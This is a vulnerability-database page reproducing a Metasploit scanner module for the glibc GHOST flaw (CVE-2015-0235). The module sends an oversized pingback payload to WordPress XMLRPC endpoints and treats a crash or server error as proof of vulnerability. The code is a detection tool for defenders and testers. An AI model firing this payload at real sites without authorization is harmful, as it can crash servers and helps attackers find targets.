Lucene search
K

WordPress XMLRPC GHOST Vulnerability Scanner

This module scans for WordPress XMLRPC GHOST vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects WebSphere Transformation Extender with Launcher Hypervisor Edition [for RHEL] (CVE-2015-0235)
16 Jun 201819:42
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects DS8000 (CVE-2015-0235)
24 May 202217:06
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Flex System EN6131 40Gb Ethernet / IB6131 40Gb Infiniband Switch Firmware (CVE-2015-0235)
31 Jan 201901:55
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM/Cisco Switches and Directors (CVE-2015-0235)
20 Aug 202200:54
ibm
IBM Security Bulletins
IBM Security Network Protection / IBM QRadar Network Security / XGS Technote Index
31 Jan 202100:10
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Security Network Intrusion Prevention System (CVE-2015-0235)
23 Feb 202219:48
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability is fixed in IBM Security Access Manager for Enterprise Single Sign-On Virtual Appliance (CVE-2015-0235)
16 Jun 201821:22
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects QRadar SIEM, QRadar Risk Manager, and QRadar Vulnerability Manager (CVE-2015-0235)
23 Feb 202217:02
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM PureApplication System (CVE-2015-0235)
15 Jun 201807:02
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in GNU C library (glibc) affects SmartCloud Provisioning 2.1 for IBM Provided Software Virtual Appliance (CVE-2015-0235)
17 Jun 201822:30
ibm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
    'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner',
    'Description' => %q{
      This module can be used to determine hosts vulnerable to the GHOST vulnerability via
      a call to the WordPress XMLRPC interface. If the target is vulnerable, the system
      will segfault and return a server error. On patched systems, a normal XMLRPC error
      is returned.
    },
    'Author' =>
    [
      'Robert Rowley',
      'Christophe De La Fuente' ,
      'Chaim Sanders' ,
      'Felipe Costa' ,
      'Jonathan Claudius' ,
      'Karl Sigler' ,
      'Christian Mehlmauer' # metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'  =>
    [
      [ 'CVE', '2015-0235' ],
      [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235/'],
      [ 'URL', 'http://web.archive.org/web/20250117140537/https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html']
    ]
    ))

    register_options(
    [
      OptInt.new('LENGTH', [false, 'Payload length', 2500]),
    ])
  end

  def length
    datastore['LENGTH']
  end

  def run_host(ip)
    unless wordpress_and_online?
      print_error("Looks like this site is no WordPress blog")
      return
    end

    unless wordpress_xmlrpc_enabled?
      print_error("XMLRPC interface is not enabled")
      return
    end

    ghost = "0" * length
    payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"
    xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)

    res = send_request_cgi(
    'uri'       => wordpress_url_xmlrpc,
    'method'    => 'POST',
    'ctype'     => 'text/xml;charset=UTF-8',
    'data'      => xml
    )

    if res.nil? || res.code == 500
      print_good("vulnerable to GHOST")
      report_vuln(
      :host   => ip,
      :proto  => 'tcp',
      :port   => datastore['RPORT'],
      :name   => self.name,
      :info   => "Module #{self.fullname} found GHOST vulnerability",
      :sname  => datastore['SSL'] ? "https" : "http"
      )
    else
      print_status("target not vulnerable to GHOST")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
7High risk
Vulners AI Score7
CVSS 210
EPSS0.94859
169